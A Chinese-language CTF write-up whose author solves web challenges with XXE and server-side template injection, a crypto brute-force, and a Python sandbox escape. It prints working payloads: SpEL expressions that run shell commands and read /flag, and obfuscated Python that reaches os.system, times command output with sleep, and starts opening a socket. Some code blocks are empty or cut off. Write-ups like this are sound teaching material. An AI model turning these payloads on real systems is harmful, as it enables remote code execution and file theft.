写在之前
周末打了这个比赛,趟大佬的车,混到第六.如果不是我这么菜,有机会第四或第三的.
如此简单的web题都解不了,丢人(捂脸
感谢比赛过程中队内各位大佬给的各种提示.
以下writeup仅是我自己能解的题或参与解的题.
WEB
LookAround
F12查看源码发现一个文件名奇怪的js,功能是定时发送请求.
请求内容比较奇怪,猜测就是考点,xxe了.
随便改了下xml,就发生500报错.
尝试了下常见的payload,猜测逻辑,如果xml合法则无返回,xml异常则500报错.
队内师傅提醒之下,找到关键点
exploiting-xxe-with-local-dtd-files
文章里给的payload
文件不存在,那就找一个linux系统默认存在的,直接去linux全局文件搜索
找一个可以用的,报错xxe成功获取flag
最终payload如下
1 |
|
render
随便测试了一下,发现[[9*9]]中的内容被执行了输出了49.
搭配题目名字render,SSTI没跑了.
网上搜索发现了几个可用的payload
https://www.4hou.com/vulnerable/9779.html
[[${T(java.lang.System).getenv()}]]
执行命令:
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
但是没有回显,测试了nc,curl,wget
都弹不出来.不熟悉java.
然后队内师傅提示,直接读文件.
[[${new java.io.BufferedReader(new [java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec("cat /flag").getInputStream())).readLine()}]]
或
[[${new java.io.BufferedReader(new [java.io.FileReader("/flag")).readLine()}]]
Easy Realworld Challenge
比赛的时候没做出来,卡在FTP读文件,时间上差了一点,有机会第四,还是我太菜了.
题解明天再整
Crypto
babycry
常见套路,第一次爆破flag前7位需要手动改一下,懒得写一键脚本了.第七位到最后爆破的脚本如下:
1 | from pwn import * |
MISC
pybox
绕过思路和ciscn的一样,就是没回显
__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('sleep 4')
那就弹,又是nv,curl,wget
都试一遍,无果
看提示,cut,sleep,那就是时间盲注了
__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('sleep $(ca'+'t /home/flag|cut -c1|tr f 4)')
但是tr被过滤了,尝试别的方法替换字符串.
1 | __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')("export str=\`tac /home/flag\`;str=${str:0:1};str=${str/f/2} && sleep $str ") |
不知道为什么只有通配符能替换,ascii1-256都不行,无果
又是队内大佬提示
1 | s=__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('socket').__getattribute__('socket')() |
感觉这是非预期解了